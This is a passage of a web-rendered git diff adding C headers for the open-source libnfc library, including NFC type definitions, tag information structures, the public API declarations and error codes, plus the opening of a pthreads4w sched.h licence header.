int (*io)(struct nfc_emulator *emulator, const uint8_t *data_in, const size_t data_in_len, uint8_t *data_out, const size_t data_out_len);
|
||||||
|
void *data;
|
||||||
|
};
|
||||||
|
|
||||||
|
NFC_EXPORT int nfc_emulate_target(nfc_device *pnd, struct nfc_emulator *emulator, const int timeout);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif /* __cplusplus */
|
||||||
|
|
||||||
|
|
||||||
|
#endif /* __NFC_EMULATION_H__ */
|
||||||
359
src/include/nfc/nfc-types.h
Normal file
359
src/include/nfc/nfc-types.h
Normal file
@ -0,0 +1,359 @@
|
|||||||
|
/*-
|
||||||
|
* Free/Libre Near Field Communication (NFC) library
|
||||||
|
*
|
||||||
|
* Libnfc historical contributors:
|
||||||
|
* Copyright (C) 2009 Roel Verdult
|
||||||
|
* Copyright (C) 2009-2013 Romuald Conty
|
||||||
|
* Copyright (C) 2010-2012 Romain Tartière
|
||||||
|
* Copyright (C) 2010-2013 Philippe Teuwen
|
||||||
|
* Copyright (C) 2012-2013 Ludovic Rousseau
|
||||||
|
* See AUTHORS file for a more comprehensive list of contributors.
|
||||||
|
* Additional contributors of this file:
|
||||||
|
* Copyright (C) 2020 Adam Laurie
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU Lesser General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
|
||||||
|
* more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU Lesser General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @file nfc-types.h
|
||||||
|
* @brief Define NFC types
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef __NFC_TYPES_H__
|
||||||
|
#define __NFC_TYPES_H__
|
||||||
|
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#ifndef NFC_BUFSIZE_CONNSTRING
|
||||||
|
#define NFC_BUFSIZE_CONNSTRING 1024
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/**
|
||||||
|
* NFC context
|
||||||
|
*/
|
||||||
|
typedef struct nfc_context nfc_context;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* NFC device
|
||||||
|
*/
|
||||||
|
typedef struct nfc_device nfc_device;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* NFC device driver
|
||||||
|
*/
|
||||||
|
typedef struct nfc_driver nfc_driver;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Connection string
|
||||||
|
*/
|
||||||
|
typedef char nfc_connstring[NFC_BUFSIZE_CONNSTRING];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Properties
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
/**
|
||||||
|
* Default command processing timeout
|
||||||
|
* Property value's (duration) unit is ms and 0 means no timeout (infinite).
|
||||||
|
* Default value is set by driver layer
|
||||||
|
*/
|
||||||
|
NP_TIMEOUT_COMMAND,
|
||||||
|
/**
|
||||||
|
* Timeout between ATR_REQ and ATR_RES
|
||||||
|
* When the device is in initiator mode, a target is considered as mute if no
|
||||||
|
* valid ATR_RES is received within this timeout value.
|
||||||
|
* Default value for this property is 103 ms on PN53x based devices.
|
||||||
|
*/
|
||||||
|
NP_TIMEOUT_ATR,
|
||||||
|
/**
|
||||||
|
* Timeout value to give up reception from the target in case of no answer.
|
||||||
|
* Default value for this property is 52 ms).
|
||||||
|
*/
|
||||||
|
NP_TIMEOUT_COM,
|
||||||
|
/** Let the PN53X chip handle the CRC bytes. This means that the chip appends
|
||||||
|
* the CRC bytes to the frames that are transmitted. It will parse the last
|
||||||
|
* bytes from received frames as incoming CRC bytes. They will be verified
|
||||||
|
* against the used modulation and protocol. If an frame is expected with
|
||||||
|
* incorrect CRC bytes this option should be disabled. Example frames where
|
||||||
|
* this is useful are the ATQA and UID+BCC that are transmitted without CRC
|
||||||
|
* bytes during the anti-collision phase of the ISO14443-A protocol. */
|
||||||
|
NP_HANDLE_CRC,
|
||||||
|
/** Parity bits in the network layer of ISO14443-A are by default generated and
|
||||||
|
* validated in the PN53X chip. This is a very convenient feature. On certain
|
||||||
|
* times though it is useful to get full control of the transmitted data. The
|
||||||
|
* proprietary MIFARE Classic protocol uses for example custom (encrypted)
|
||||||
|
* parity bits. For interoperability it is required to be completely
|
||||||
|
* compatible, including the arbitrary parity bits. When this option is
|
||||||
|
* disabled, the functions to communicating bits should be used. */
|
||||||
|
NP_HANDLE_PARITY,
|
||||||
|
/** This option can be used to enable or disable the electronic field of the
|
||||||
|
* NFC device. */
|
||||||
|
NP_ACTIVATE_FIELD,
|
||||||
|
/** The internal CRYPTO1 co-processor can be used to transmit messages
|
||||||
|
* encrypted. This option is automatically activated after a successful MIFARE
|
||||||
|
* Classic authentication. */
|
||||||
|
NP_ACTIVATE_CRYPTO1,
|
||||||
|
/** The default configuration defines that the PN53X chip will try indefinitely
|
||||||
|
* to invite a tag in the field to respond. This could be desired when it is
|
||||||
|
* certain a tag will enter the field. On the other hand, when this is
|
||||||
|
* uncertain, it will block the application. This option could best be compared
|
||||||
|
* to the (NON)BLOCKING option used by (socket)network programming. */
|
||||||
|
NP_INFINITE_SELECT,
|
||||||
|
/** If this option is enabled, frames that carry less than 4 bits are allowed.
|
||||||
|
* According to the standards these frames should normally be handles as
|
||||||
|
* invalid frames. */
|
||||||
|
NP_ACCEPT_INVALID_FRAMES,
|
||||||
|
/** If the NFC device should only listen to frames, it could be useful to let
|
||||||
|
* it gather multiple frames in a sequence. They will be stored in the internal
|
||||||
|
* FIFO of the PN53X chip. This could be retrieved by using the receive data
|
||||||
|
* functions. Note that if the chip runs out of bytes (FIFO = 64 bytes long),
|
||||||
|
* it will overwrite the first received frames, so quick retrieving of the
|
||||||
|
* received data is desirable. */
|
||||||
|
NP_ACCEPT_MULTIPLE_FRAMES,
|
||||||
|
/** This option can be used to enable or disable the auto-switching mode to
|
||||||
|
* ISO14443-4 is device is compliant.
|
||||||
|
* In initiator mode, it means that NFC chip will send RATS automatically when
|
||||||
|
* select and it will automatically poll for ISO14443-4 card when ISO14443A is
|
||||||
|
* requested.
|
||||||
|
* In target mode, with a NFC chip compliant (ie. PN532), the chip will
|
||||||
|
* emulate a 14443-4 PICC using hardware capability */
|
||||||
|
NP_AUTO_ISO14443_4,
|
||||||
|
/** Use automatic frames encapsulation and chaining. */
|
||||||
|
NP_EASY_FRAMING,
|
||||||
|
/** Force the chip to switch in ISO14443-A */
|
||||||
|
NP_FORCE_ISO14443_A,
|
||||||
|
/** Force the chip to switch in ISO14443-B */
|
||||||
|
NP_FORCE_ISO14443_B,
|
||||||
|
/** Force the chip to run at 106 kbps */
|
||||||
|
NP_FORCE_SPEED_106,
|
||||||
|
} nfc_property;
|
||||||
|
|
||||||
|
// Compiler directive, set struct alignment to 1 uint8_t for compatibility
|
||||||
|
# pragma pack(1)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @enum nfc_dep_mode
|
||||||
|
* @brief NFC D.E.P. (Data Exchange Protocol) active/passive mode
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
NDM_UNDEFINED = 0,
|
||||||
|
NDM_PASSIVE,
|
||||||
|
NDM_ACTIVE,
|
||||||
|
} nfc_dep_mode;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_dep_info
|
||||||
|
* @brief NFC target information in D.E.P. (Data Exchange Protocol) see ISO/IEC 18092 (NFCIP-1)
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/** NFCID3 */
|
||||||
|
uint8_t abtNFCID3[10];
|
||||||
|
/** DID */
|
||||||
|
uint8_t btDID;
|
||||||
|
/** Supported send-bit rate */
|
||||||
|
uint8_t btBS;
|
||||||
|
/** Supported receive-bit rate */
|
||||||
|
uint8_t btBR;
|
||||||
|
/** Timeout value */
|
||||||
|
uint8_t btTO;
|
||||||
|
/** PP Parameters */
|
||||||
|
uint8_t btPP;
|
||||||
|
/** General Bytes */
|
||||||
|
uint8_t abtGB[48];
|
||||||
|
size_t szGB;
|
||||||
|
/** DEP mode */
|
||||||
|
nfc_dep_mode ndm;
|
||||||
|
} nfc_dep_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_iso14443a_info
|
||||||
|
* @brief NFC ISO14443A tag (MIFARE) information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
uint8_t abtAtqa[2];
|
||||||
|
uint8_t btSak;
|
||||||
|
size_t szUidLen;
|
||||||
|
uint8_t abtUid[10];
|
||||||
|
size_t szAtsLen;
|
||||||
|
uint8_t abtAts[254]; // Maximal theoretical ATS is FSD-2, FSD=256 for FSDI=8 in RATS
|
||||||
|
} nfc_iso14443a_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_felica_info
|
||||||
|
* @brief NFC FeLiCa tag information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
size_t szLen;
|
||||||
|
uint8_t btResCode;
|
||||||
|
uint8_t abtId[8];
|
||||||
|
uint8_t abtPad[8];
|
||||||
|
uint8_t abtSysCode[2];
|
||||||
|
} nfc_felica_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_iso14443b_info
|
||||||
|
* @brief NFC ISO14443B tag information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/** abtPupi store PUPI contained in ATQB (Answer To reQuest of type B) (see ISO14443-3) */
|
||||||
|
uint8_t abtPupi[4];
|
||||||
|
/** abtApplicationData store Application Data contained in ATQB (see ISO14443-3) */
|
||||||
|
uint8_t abtApplicationData[4];
|
||||||
|
/** abtProtocolInfo store Protocol Info contained in ATQB (see ISO14443-3) */
|
||||||
|
uint8_t abtProtocolInfo[3];
|
||||||
|
/** ui8CardIdentifier store CID (Card Identifier) attributted by PCD to the PICC */
|
||||||
|
uint8_t ui8CardIdentifier;
|
||||||
|
} nfc_iso14443b_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_iso14443bi_info
|
||||||
|
* @brief NFC ISO14443B' tag information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/** DIV: 4 LSBytes of tag serial number */
|
||||||
|
uint8_t abtDIV[4];
|
||||||
|
/** Software version & type of REPGEN */
|
||||||
|
uint8_t btVerLog;
|
||||||
|
/** Config Byte, present if long REPGEN */
|
||||||
|
uint8_t btConfig;
|
||||||
|
/** ATR, if any */
|
||||||
|
size_t szAtrLen;
|
||||||
|
uint8_t abtAtr[33];
|
||||||
|
} nfc_iso14443bi_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_iso14443biclass_info
|
||||||
|
* @brief NFC ISO14443BiClass tag information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
uint8_t abtUID[8];
|
||||||
|
} nfc_iso14443biclass_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_iso14443b2sr_info
|
||||||
|
* @brief NFC ISO14443-2B ST SRx tag information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
uint8_t abtUID[8];
|
||||||
|
} nfc_iso14443b2sr_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_iso14443b2ct_info
|
||||||
|
* @brief NFC ISO14443-2B ASK CTx tag information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
uint8_t abtUID[4];
|
||||||
|
uint8_t btProdCode;
|
||||||
|
uint8_t btFabCode;
|
||||||
|
} nfc_iso14443b2ct_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_jewel_info
|
||||||
|
* @brief NFC Jewel tag information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
uint8_t btSensRes[2];
|
||||||
|
uint8_t btId[4];
|
||||||
|
} nfc_jewel_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_barcode_info
|
||||||
|
* @brief Thinfilm NFC Barcode information
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
size_t szDataLen;
|
||||||
|
uint8_t abtData[32];
|
||||||
|
} nfc_barcode_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @union nfc_target_info
|
||||||
|
* @brief Union between all kind of tags information structures.
|
||||||
|
*/
|
||||||
|
typedef union {
|
||||||
|
nfc_iso14443a_info nai;
|
||||||
|
nfc_felica_info nfi;
|
||||||
|
nfc_iso14443b_info nbi;
|
||||||
|
nfc_iso14443bi_info nii;
|
||||||
|
nfc_iso14443b2sr_info nsi;
|
||||||
|
nfc_iso14443b2ct_info nci;
|
||||||
|
nfc_jewel_info nji;
|
||||||
|
nfc_dep_info ndi;
|
||||||
|
nfc_barcode_info nti; // "t" for Thinfilm, "b" already used
|
||||||
|
nfc_iso14443biclass_info nhi; // hid iclass / picopass - nii already used
|
||||||
|
} nfc_target_info;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @enum nfc_baud_rate
|
||||||
|
* @brief NFC baud rate enumeration
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
NBR_UNDEFINED = 0,
|
||||||
|
NBR_106,
|
||||||
|
NBR_212,
|
||||||
|
NBR_424,
|
||||||
|
NBR_847,
|
||||||
|
} nfc_baud_rate;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @enum nfc_modulation_type
|
||||||
|
* @brief NFC modulation type enumeration
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
NMT_ISO14443A = 1,
|
||||||
|
NMT_JEWEL,
|
||||||
|
NMT_ISO14443B,
|
||||||
|
NMT_ISO14443BI, // pre-ISO14443B aka ISO/IEC 14443 B' or Type B'
|
||||||
|
NMT_ISO14443B2SR, // ISO14443-2B ST SRx
|
||||||
|
NMT_ISO14443B2CT, // ISO14443-2B ASK CTx
|
||||||
|
NMT_FELICA,
|
||||||
|
NMT_DEP,
|
||||||
|
NMT_BARCODE, // Thinfilm NFC Barcode
|
||||||
|
NMT_ISO14443BICLASS, // HID iClass 14443B mode
|
||||||
|
NMT_END_ENUM = NMT_ISO14443BICLASS, // dummy for sizing - always should alias last
|
||||||
|
} nfc_modulation_type;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @enum nfc_mode
|
||||||
|
* @brief NFC mode type enumeration
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
N_TARGET,
|
||||||
|
N_INITIATOR,
|
||||||
|
} nfc_mode;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_modulation
|
||||||
|
* @brief NFC modulation structure
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
nfc_modulation_type nmt;
|
||||||
|
nfc_baud_rate nbr;
|
||||||
|
} nfc_modulation;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @struct nfc_target
|
||||||
|
* @brief NFC target structure
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
nfc_target_info nti;
|
||||||
|
nfc_modulation nm;
|
||||||
|
} nfc_target;
|
||||||
|
|
||||||
|
// Reset struct alignment to default
|
||||||
|
# pragma pack()
|
||||||
|
|
||||||
|
#endif // _LIBNFC_TYPES_H_
|
||||||
226
src/include/nfc/nfc.h
Normal file
226
src/include/nfc/nfc.h
Normal file
@ -0,0 +1,226 @@
|
|||||||
|
/*-
|
||||||
|
* Free/Libre Near Field Communication (NFC) library
|
||||||
|
*
|
||||||
|
* Libnfc historical contributors:
|
||||||
|
* Copyright (C) 2009 Roel Verdult
|
||||||
|
* Copyright (C) 2009-2013 Romuald Conty
|
||||||
|
* Copyright (C) 2010-2012 Romain Tartière
|
||||||
|
* Copyright (C) 2010-2013 Philippe Teuwen
|
||||||
|
* Copyright (C) 2012-2013 Ludovic Rousseau
|
||||||
|
* See AUTHORS file for a more comprehensive list of contributors.
|
||||||
|
* Additional contributors of this file:
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU Lesser General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
|
||||||
|
* more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU Lesser General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @file nfc.h
|
||||||
|
* @brief libnfc interface
|
||||||
|
*
|
||||||
|
* Provide all useful functions (API) to handle NFC devices.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _LIBNFC_H_
|
||||||
|
# define _LIBNFC_H_
|
||||||
|
|
||||||
|
# include <stdint.h>
|
||||||
|
# include <stdbool.h>
|
||||||
|
|
||||||
|
# ifdef _WIN32
|
||||||
|
/* Windows platform */
|
||||||
|
# ifndef _WINDLL
|
||||||
|
/* CMake compilation */
|
||||||
|
# ifdef nfc_EXPORTS
|
||||||
|
# define NFC_EXPORT __declspec(dllexport)
|
||||||
|
# else
|
||||||
|
/* nfc_EXPORTS */
|
||||||
|
# define NFC_EXPORT __declspec(dllimport)
|
||||||
|
# endif
|
||||||
|
/* nfc_EXPORTS */
|
||||||
|
# else
|
||||||
|
/* _WINDLL */
|
||||||
|
/* Manual makefile */
|
||||||
|
# define NFC_EXPORT
|
||||||
|
# endif
|
||||||
|
/* _WINDLL */
|
||||||
|
# else
|
||||||
|
/* _WIN32 */
|
||||||
|
# define NFC_EXPORT
|
||||||
|
# endif
|
||||||
|
/* _WIN32 */
|
||||||
|
|
||||||
|
# include <nfc/nfc-types.h>
|
||||||
|
|
||||||
|
# ifndef __has_attribute
|
||||||
|
# define __has_attribute(x) 0
|
||||||
|
# endif
|
||||||
|
|
||||||
|
# if __has_attribute(nonnull) || defined(__GNUC__)
|
||||||
|
# define __has_attribute_nonnull 1
|
||||||
|
# endif
|
||||||
|
|
||||||
|
# if __has_attribute_nonnull
|
||||||
|
# define ATTRIBUTE_NONNULL( param ) __attribute__((nonnull (param)))
|
||||||
|
# else
|
||||||
|
# define ATTRIBUTE_NONNULL( param )
|
||||||
|
# endif
|
||||||
|
|
||||||
|
# ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
# endif // __cplusplus
|
||||||
|
|
||||||
|
/* Library initialization/deinitialization */
|
||||||
|
NFC_EXPORT void nfc_init(nfc_context **context) ATTRIBUTE_NONNULL(1);
|
||||||
|
NFC_EXPORT void nfc_exit(nfc_context *context) ATTRIBUTE_NONNULL(1);
|
||||||
|
NFC_EXPORT int nfc_register_driver(const nfc_driver *driver);
|
||||||
|
|
||||||
|
/* NFC Device/Hardware manipulation */
|
||||||
|
NFC_EXPORT nfc_device *nfc_open(nfc_context *context, const nfc_connstring connstring) ATTRIBUTE_NONNULL(1);
|
||||||
|
NFC_EXPORT void nfc_close(nfc_device *pnd);
|
||||||
|
NFC_EXPORT int nfc_abort_command(nfc_device *pnd);
|
||||||
|
NFC_EXPORT size_t nfc_list_devices(nfc_context *context, nfc_connstring connstrings[], size_t connstrings_len) ATTRIBUTE_NONNULL(1);
|
||||||
|
NFC_EXPORT int nfc_idle(nfc_device *pnd);
|
||||||
|
|
||||||
|
/* NFC initiator: act as "reader" */
|
||||||
|
NFC_EXPORT int nfc_initiator_init(nfc_device *pnd);
|
||||||
|
NFC_EXPORT int nfc_initiator_init_secure_element(nfc_device *pnd);
|
||||||
|
NFC_EXPORT int nfc_initiator_select_passive_target(nfc_device *pnd, const nfc_modulation nm, const uint8_t *pbtInitData, const size_t szInitData, nfc_target *pnt);
|
||||||
|
NFC_EXPORT int nfc_initiator_list_passive_targets(nfc_device *pnd, const nfc_modulation nm, nfc_target ant[], const size_t szTargets);
|
||||||
|
NFC_EXPORT int nfc_initiator_poll_target(nfc_device *pnd, const nfc_modulation *pnmTargetTypes, const size_t szTargetTypes, const uint8_t uiPollNr, const uint8_t uiPeriod, nfc_target *pnt);
|
||||||
|
NFC_EXPORT int nfc_initiator_select_dep_target(nfc_device *pnd, const nfc_dep_mode ndm, const nfc_baud_rate nbr, const nfc_dep_info *pndiInitiator, nfc_target *pnt, const int timeout);
|
||||||
|
NFC_EXPORT int nfc_initiator_poll_dep_target(nfc_device *pnd, const nfc_dep_mode ndm, const nfc_baud_rate nbr, const nfc_dep_info *pndiInitiator, nfc_target *pnt, const int timeout);
|
||||||
|
NFC_EXPORT int nfc_initiator_deselect_target(nfc_device *pnd);
|
||||||
|
NFC_EXPORT int nfc_initiator_transceive_bytes(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTx, uint8_t *pbtRx, const size_t szRx, int timeout);
|
||||||
|
NFC_EXPORT int nfc_initiator_transceive_bits(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTxBits, const uint8_t *pbtTxPar, uint8_t *pbtRx, const size_t szRx, uint8_t *pbtRxPar);
|
||||||
|
NFC_EXPORT int nfc_initiator_transceive_bytes_timed(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTx, uint8_t *pbtRx, const size_t szRx, uint32_t *cycles);
|
||||||
|
NFC_EXPORT int nfc_initiator_transceive_bits_timed(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTxBits, const uint8_t *pbtTxPar, uint8_t *pbtRx, const size_t szRx, uint8_t *pbtRxPar, uint32_t *cycles);
|
||||||
|
NFC_EXPORT int nfc_initiator_target_is_present(nfc_device *pnd, const nfc_target *pnt);
|
||||||
|
|
||||||
|
/* NFC target: act as tag (i.e. MIFARE Classic) or NFC target device. */
|
||||||
|
NFC_EXPORT int nfc_target_init(nfc_device *pnd, nfc_target *pnt, uint8_t *pbtRx, const size_t szRx, int timeout);
|
||||||
|
NFC_EXPORT int nfc_target_send_bytes(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTx, int timeout);
|
||||||
|
NFC_EXPORT int nfc_target_receive_bytes(nfc_device *pnd, uint8_t *pbtRx, const size_t szRx, int timeout);
|
||||||
|
NFC_EXPORT int nfc_target_send_bits(nfc_device *pnd, const uint8_t *pbtTx, const size_t szTxBits, const uint8_t *pbtTxPar);
|
||||||
|
NFC_EXPORT int nfc_target_receive_bits(nfc_device *pnd, uint8_t *pbtRx, const size_t szRx, uint8_t *pbtRxPar);
|
||||||
|
|
||||||
|
/* Error reporting */
|
||||||
|
NFC_EXPORT const char *nfc_strerror(const nfc_device *pnd);
|
||||||
|
NFC_EXPORT int nfc_strerror_r(const nfc_device *pnd, char *buf, size_t buflen);
|
||||||
|
NFC_EXPORT void nfc_perror(const nfc_device *pnd, const char *s);
|
||||||
|
NFC_EXPORT int nfc_device_get_last_error(const nfc_device *pnd);
|
||||||
|
|
||||||
|
/* Special data accessors */
|
||||||
|
NFC_EXPORT const char *nfc_device_get_name(nfc_device *pnd);
|
||||||
|
NFC_EXPORT const char *nfc_device_get_connstring(nfc_device *pnd);
|
||||||
|
NFC_EXPORT int nfc_device_get_supported_modulation(nfc_device *pnd, const nfc_mode mode, const nfc_modulation_type **const supported_mt);
|
||||||
|
NFC_EXPORT int nfc_device_get_supported_baud_rate(nfc_device *pnd, const nfc_modulation_type nmt, const nfc_baud_rate **const supported_br);
|
||||||
|
NFC_EXPORT int nfc_device_get_supported_baud_rate_target_mode(nfc_device *pnd, const nfc_modulation_type nmt, const nfc_baud_rate **const supported_br);
|
||||||
|
|
||||||
|
/* Properties accessors */
|
||||||
|
NFC_EXPORT int nfc_device_set_property_int(nfc_device *pnd, const nfc_property property, const int value);
|
||||||
|
NFC_EXPORT int nfc_device_set_property_bool(nfc_device *pnd, const nfc_property property, const bool bEnable);
|
||||||
|
|
||||||
|
/* Misc. functions */
|
||||||
|
NFC_EXPORT void iso14443a_crc(uint8_t *pbtData, size_t szLen, uint8_t *pbtCrc);
|
||||||
|
NFC_EXPORT void iso14443a_crc_append(uint8_t *pbtData, size_t szLen);
|
||||||
|
NFC_EXPORT void iso14443b_crc(uint8_t *pbtData, size_t szLen, uint8_t *pbtCrc);
|
||||||
|
NFC_EXPORT void iso14443b_crc_append(uint8_t *pbtData, size_t szLen);
|
||||||
|
NFC_EXPORT uint8_t *iso14443a_locate_historical_bytes(uint8_t *pbtAts, size_t szAts, size_t *pszTk);
|
||||||
|
|
||||||
|
NFC_EXPORT void nfc_free(void *p);
|
||||||
|
NFC_EXPORT const char *nfc_version(void);
|
||||||
|
NFC_EXPORT int nfc_device_get_information_about(nfc_device *pnd, char **buf);
|
||||||
|
|
||||||
|
/* String converter functions */
|
||||||
|
NFC_EXPORT const char *str_nfc_modulation_type(const nfc_modulation_type nmt);
|
||||||
|
NFC_EXPORT const char *str_nfc_baud_rate(const nfc_baud_rate nbr);
|
||||||
|
NFC_EXPORT int str_nfc_target(char **buf, const nfc_target *pnt, bool verbose);
|
||||||
|
|
||||||
|
/* Error codes */
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Success (no error)
|
||||||
|
*/
|
||||||
|
#define NFC_SUCCESS 0
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Input / output error, device may not be usable anymore without re-open it
|
||||||
|
*/
|
||||||
|
#define NFC_EIO -1
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Invalid argument(s)
|
||||||
|
*/
|
||||||
|
#define NFC_EINVARG -2
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Operation not supported by device
|
||||||
|
*/
|
||||||
|
#define NFC_EDEVNOTSUPP -3
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* No such device
|
||||||
|
*/
|
||||||
|
#define NFC_ENOTSUCHDEV -4
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Buffer overflow
|
||||||
|
*/
|
||||||
|
#define NFC_EOVFLOW -5
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Operation timed out
|
||||||
|
*/
|
||||||
|
#define NFC_ETIMEOUT -6
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Operation aborted (by user)
|
||||||
|
*/
|
||||||
|
#define NFC_EOPABORTED -7
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Not (yet) implemented
|
||||||
|
*/
|
||||||
|
#define NFC_ENOTIMPL -8
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Target released
|
||||||
|
*/
|
||||||
|
#define NFC_ETGRELEASED -10
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Error while RF transmission
|
||||||
|
*/
|
||||||
|
#define NFC_ERFTRANS -20
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* MIFARE Classic: authentication failed
|
||||||
|
*/
|
||||||
|
#define NFC_EMFCAUTHFAIL -30
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Software error (allocation, file/pipe creation, etc.)
|
||||||
|
*/
|
||||||
|
#define NFC_ESOFT -80
|
||||||
|
/** @ingroup error
|
||||||
|
* @hideinitializer
|
||||||
|
* Device's internal chip error
|
||||||
|
*/
|
||||||
|
#define NFC_ECHIP -90
|
||||||
|
|
||||||
|
|
||||||
|
# ifdef __cplusplus
|
||||||
|
}
|
||||||
|
# endif // __cplusplus
|
||||||
|
#endif // _LIBNFC_H_
|
||||||
1228
src/include/pthread.h
Normal file
1228
src/include/pthread.h
Normal file
File diff suppressed because it is too large
Load Diff
235
src/include/sched.h
Normal file
235
src/include/sched.h
Normal file
@ -0,0 +1,235 @@
|
|||||||
|
/*
|
||||||
|
* Module: sched.h
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
* Provides an implementation of POSIX realtime extensions
|
||||||
|
* as defined in
|
||||||
|
*
|
||||||
|
* POSIX 1003.1b-1993 (POSIX.1b)
|
||||||
|
*
|
||||||
|
* --------------------------------------------------------------------------
|
||||||
|
*
|
||||||
|
* Pthreads4w - POSIX Threads for Windows
|
||||||
|
* Copyright 1998 John E. Bossom
|
||||||
|
* Copyright 1999-2018, Pthreads4w contributors
|
||||||
|
*
|
||||||
|
* Homepage: https://sourceforge.net/projects/pthreads4w/
|
||||||
|
*
|
||||||
|
* The current list of contributors is contained
|
||||||
|
* in the file CONTRIBUTORS included with the source
|
||||||
|
* code distribution. The list can also be seen at the
|
||||||
|
* following World Wide Web location:
|
||||||
|
*
|
||||||
|
* https://sourceforge.net/p/pthreads4w/wiki/Contributors/
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
